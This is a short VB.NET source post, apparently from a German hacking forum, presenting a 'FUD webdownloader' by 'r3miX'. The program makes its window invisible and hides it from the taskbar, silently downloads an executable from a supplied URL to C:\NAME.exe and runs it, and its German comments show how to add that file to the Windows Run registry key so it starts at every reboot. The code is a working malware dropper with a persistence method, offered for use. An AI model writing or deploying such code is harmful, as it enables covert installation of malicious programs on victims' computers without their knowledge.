[VB.NET] Fud Webdownloader by r3miX

'~Falls ihr den Registryeintrag wählt, müsst ihr das noch "importieren" ;)
'##Code Anfang##
'Imports Microsoft.Win32
'##Code Ende##


Public Class Form1


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Opacity = 0%                     '~Form unsichtbar machen.
        Me.ShowInTaskbar = False            '~Form vor der Taskleiste unsichtbar machen.


        Dim uL As String = TextBox1.Text         '~Url festlegen(in textbox).
        Dim dL As System.Net.WebClient = New System.Net.WebClient
        Dim dat As String = uL              '~Url wird vereinfacht(unnötig).
        Dim nam As String = "C:\NAME.exe"   '~Pfad + Name -> Speicherort.
        dL.DownloadFile(dat, nam)           '~Download wird durchgefüh
        System.Threading.Thread.Sleep(1000)
        Process.Start("C:\NAME.exe")        '~.exe wird gestartet.
        System.Threading.Thread.Sleep(1000) '~Warten, bis exe geloaded ist
        Me.Close()                          'Form schlieÃ?en -> Download erfolgreich :)


        '~Natürlich könnte man die .exe erst in die Registry eintragen, und die .exe
        '~erst beim Reboot starten lassen ;)
        '~Das würde dann so gehen:
        '##Code Anfang##
        'Dim RegKey As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
        'RegKey.SetValue("PROGRAMM", "PFAD ZUM PROGRAMM)
        'RegKey.Close()
        '##Code Ende##
        '~Natürlich ohne die '-Teile.


        'by R3MiX :)
        'codesoft.cc
    End Sub
End Class